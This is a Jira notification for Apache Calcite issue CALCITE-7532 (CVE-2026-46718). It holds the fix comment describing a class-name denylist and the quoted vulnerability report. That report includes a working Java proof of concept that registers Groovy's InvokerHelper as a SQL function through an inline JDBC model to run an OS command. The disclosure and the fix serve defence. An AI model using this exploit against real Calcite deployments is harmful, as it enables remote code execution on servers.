[ 
https://issues.apache.org/jira/browse/CALCITE-7532?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=18085045#comment-18085045
 ] 

Julian Hyde commented on CALCITE-7532:
--------------------------------------

This issue is fixed in Calcite release 1.42.0, commit 
[5855cfa|https://github.com/apache/calcite/commit/5855cfa14d8038e2a123ff6ce9722edce0e0cc25].

The fix introduces a class-name filter that governs every point where a Calcite 
model causes a class to be loaded by reflection. A new {{ClassNameFilter}} 
class holds a built-in denylist of class-name patterns, and {{ModelHandler}} 
now consults it before instantiating any class named in a model.

The denylist targets the specific categories of class that turn "load an 
arbitrary class" into "execute arbitrary code": JNDI ({{javax.naming.}}, 
{{com.sun.jndi.}}), process and runtime APIs ({{Runtime}}, {{ProcessBuilder}}, 
{{System}}), reflection and method-handle APIs ({{java.lang.reflect.}}, 
{{java.lang.invoke.}}, {{Class}}), scripting engines ({{javax.script.}}, 
Groovy, BeanShell, Jython), Spring Expression Language, the common 
deserialization gadget chains (commons-collections and commons-beanutils 
functors, {{TemplatesImpl}}), and low-level escape hatches 
({{sun.misc.Unsafe}}, {{jdk.internal.}}). Patterns ending in a dot match a 
package and its sub-packages; others match a class name exactly. The filter 
also understands the {{ClassName#FIELD}} plugin form, stripping the field 
reference before matching.

The filter is applied uniformly across all reflective entry points in 
{{ModelHandler}}, not only user-defined functions: custom schema factories 
({{factory}}), custom table factories, JDBC drivers ({{jdbcDriver}}), SQL 
dialect factories ({{sqlDialectFactory}}), and lattice statistic providers 
({{statisticProvider}}). Each call site invokes {{ClassNameFilter.check(...)}}, 
which throws a {{SecurityException}} naming the offending class and the matched 
pattern when a load is rejected.

Deployments can extend the denylist through the new 
{{calcite.model.classes.denied}} system property (a comma-separated list of 
patterns). The extension only adds to the built-in entries; the built-in 
denylist cannot be removed or loosened at runtime, so the protection cannot be 
disabled by configuration. {{ModelHandler}} also gains a constructor that 
accepts a caller-supplied {{ClassNameFilter}}, allowing applications to apply a 
stricter (or, at their own risk, a more permissive) policy.

> A user-controled model can load arbitrary classes, leading to code execution 
> (CVE-2026-46718)
> ---------------------------------------------------------------------------------------------
>
>                 Key: CALCITE-7532
>                 URL: https://issues.apache.org/jira/browse/CALCITE-7532
>             Project: Calcite
>          Issue Type: Bug
>            Reporter: Julian Hyde
>            Assignee: Julian Hyde
>            Priority: Major
>             Fix For: 1.42.0
>
>
> (This issue was previously logged with the subject 'Model usability'.)
> [CVE-2026-46718|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2026-46718] is 
> a vulnerability that allows a user-controled model to load arbitrary classes, 
> leading to code execution.
> Here is the initial report (credit to pyn3rd, uname, 4ra1n):
> {quote}--------------------------------------------------------------------------------
> 1. AFFECTED COMPONENT
> --------------------------------------------------------------------------------
> Product: Apache Calcite
> Component: calcite-core (JDBC Driver / Inline Model Parser)
> Version: 1.41.0 (latest as of report date; earlier versions likely affected)
> Artifact: org.apache.calcite:calcite-core:1.41.0
> --------------------------------------------------------------------------------
> 2. VULNERABILITY DESCRIPTION
> --------------------------------------------------------------------------------
> Apache Calcite allows users to define a schema model via the JDBC connection
> URL using the "model=inline:
> Unknown macro: \{...}
> " parameter. Within this inline model, it is
> possible to register arbitrary Java static methods as custom SQL functions by
> specifying a "className" and "methodName" in the schema's "functions" array.
> An attacker who can influence the JDBC connection URL (or the model JSON) can
> register any publicly accessible Java method — including methods from 
> dangerous
> classes such as:
>  - org.codehaus.groovy.runtime.InvokerHelper#invokeMethod (RCE directly)
>  - javax.naming.InitialContext.doLookup (JNDI RCE such as log4j2)
>  - java.lang.System.getProperty/setProperty (JVM information leakage etc.)
> Once registered, these methods can be invoked directly through SQL queries,
> resulting in arbitrary operating system command execution on the server 
> hosting
> the Calcite JDBC driver.
> This vulnerability requires NO authentication and NO special privileges beyond
> the ability to supply a JDBC URL or model configuration string.
> --------------------------------------------------------------------------------
> 3. ROOT CAUSE
> --------------------------------------------------------------------------------
> The inline model parser (org.apache.calcite.model.ModelHandler and related
> classes) does not perform any allowlist/denylist validation on the "className"
> or "methodName" fields when registering user-defined functions (UDFs). As a
> result, any class available on the JVM classpath can be used as a UDF
> implementation, including classes with dangerous side effects.
> Key code path (approximate):
> ModelHandler#visit(JsonFunction)
> -> ReflectiveFunctionDispatcher (or similar)
> -> Registers arbitrary static method as SQL scalar function
> -> Callable via standard SQL SELECT statements
> --------------------------------------------------------------------------------
> 4. PROOF OF CONCEPT
> --------------------------------------------------------------------------------
> The following self-contained Java program demonstrates the vulnerability.
> Running it will execute the OS command "open -a calculator" (macOS) via a
> Groovy runtime method registered as a Calcite SQL function.
> The PoC Code and screenshot are in the attachment.
> Dependencies used in PoC:
>  - org.apache.calcite:calcite-core:1.41.0
>  - org.apache.groovy:groovy:4.0.31
> Note: The Groovy dependency is only required because the PoC uses Groovy
> runtime classes. In environments where other dangerous classes are on the
> classpath, exploitation may be possible without Groovy.
> Even without any dependencies, RCE vulnerabilities can be implemented using 
> JDK's built-in JNDI functionality. There is no need for further reference 
> here, as there have been multiple JNDI vulnerabilities such as log4j in 
> history.
> --------------------------------------------------------------------------------
> 5. ATTACK SCENARIOS
> --------------------------------------------------------------------------------
> Scenario A - Direct JDBC URL Control:
> Any application that allows end-users to supply a JDBC URL (e.g., database
> management tools, BI platforms, data integration tools using Calcite) is
> directly exploitable.
> Scenario B - Model File / Configuration Injection:
> If an attacker can write to or influence a Calcite model JSON file referenced
> by a server-side application, they can inject malicious function definitions
> and achieve RCE when the application connects.
> Scenario C - Multi-tenant / Shared Calcite Deployments:
> In environments where multiple tenants share a Calcite instance and can
> define their own schemas or models, a malicious tenant can escalate to full
> OS-level code execution.
> --------------------------------------------------------------------------------
> 6. IMPACT
> --------------------------------------------------------------------------------
>  - Confidentiality: COMPLETE — attacker can read any file accessible to the
> JVM process.
>  - Integrity: COMPLETE — attacker can write, modify, or delete files.
>  - Availability: COMPLETE — attacker can terminate processes or exhaust
> resources.
>  - Scope: The vulnerability affects the host OS, not just the JVM.{quote}
> {code:java}
> package calcite;
> import java.sql.Connection;
> import java.sql.DriverManager;
> import java.sql.ResultSet;
> import java.sql.Statement;
> public class addfuntiocnpoc {
>     public static void main(String[] args) throws Exception{
>         String model = "inline:{" +
>                 "\"version\":\"1.0\"," +
>                 "\"defaultSchema\":\"hack\"," +
>                 "\"schemas\":[{" +
>                 "\"name\":\"hack\"," +
>                 "\"functions\":[{" +
>                 "\"name\":\"INVOKE\"," +
>                 
> "\"className\":\"org.codehaus.groovy.runtime.InvokerHelper\"," +
>                 "\"methodName\":\"invokeMethod\"" +
>                 "}]" +
>                 "}]" +
>                 "}";
>         String jdbcUrl = 
> "jdbc:calcite:lex=MYSQL_ANSI;conformance=LENIENT;model=" + model;
>         try (Connection conn = DriverManager.getConnection(jdbcUrl)) {
>             Statement stmt = conn.createStatement();
>             try {
>                 String sql = "SELECT \"INVOKE\"(CAST('open -a calculator' AS 
> VARCHAR), CAST('execute' AS VARCHAR), CAST(null AS VARCHAR)) FROM 
> (VALUES(1))";
>                 ResultSet rs = stmt.executeQuery(sql);
>                 if (rs.next()) {
>                     Object result = rs.getObject(1);
>                     System.out.println("  │ [+] result: " + result);
>                 }
>                 rs.close();
>             } catch (Exception e) {
>                 e.printStackTrace();
>             }
>         }
>     }
> }
> {code}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to